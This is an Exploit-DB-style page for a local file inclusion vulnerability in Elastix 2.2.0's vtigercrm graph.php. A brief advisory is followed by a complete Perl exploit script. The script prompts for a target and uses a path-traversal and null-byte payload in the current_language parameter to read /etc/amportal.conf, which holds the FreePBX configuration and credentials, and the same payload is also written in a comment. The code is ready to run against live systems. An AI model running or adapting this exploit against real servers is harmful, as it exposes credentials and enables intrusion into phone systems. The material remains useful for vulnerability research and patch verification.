Elastix 2.2.0 – ‘graph.php’ Local File Inclusion

  • 作者： cheki
    日期： 2012-08-17
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/37637/
  • source: https://www.securityfocus.com/bid/55078/info

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

Elastix 2.2.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w

#------------------------------------------------------------------------------------# 
#Elastix is an Open Source Sofware to establish Unified Communications. 
#About this concept, Elastix goal is to incorporate all the communication alternatives,
#available at an enterprise level, into a unique solution.
#------------------------------------------------------------------------------------#
############################################################
# Exploit Title: Elastix 2.2.0 LFI
# Google Dork: :(
# Author: cheki
# Version:Elastix 2.2.0
# Tested on: multiple
# CVE : notyet
# romanc-_-eyes ;) 
# Discovered by romanc-_-eyes
# vendor http://www.elastix.org/

print "\t Elastix 2.2.0 LFI Exploit \n";
print "\t code author cheki \n";
print "\t 0day Elastix 2.2.0\n";
print "\t email: anonymous17hacker{}gmail.com \n";

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

use LWP::UserAgent;
print "\n Target: https://ip ";
chomp(my $target=<STDIN>);
$dir="vtigercrm";
$poc="current_language";
$etc="etc";
$jump="../../../../../../../..//";
$test="amportal.conf%00";

$code = LWP::UserAgent->new() or die "inicializacia brauzeris\n";
$code->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/".$dir."/graph.php?".$poc."=".$jump."".$etc."/".$test."&module=Accounts&action";
$res = $code->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~ 'This file is part of FreePBX') {
 
print "\n read amportal.conf file : $answer \n\n";
print " successful read\n";
 
}
else { 
print "\n[-] not successful\n";
	}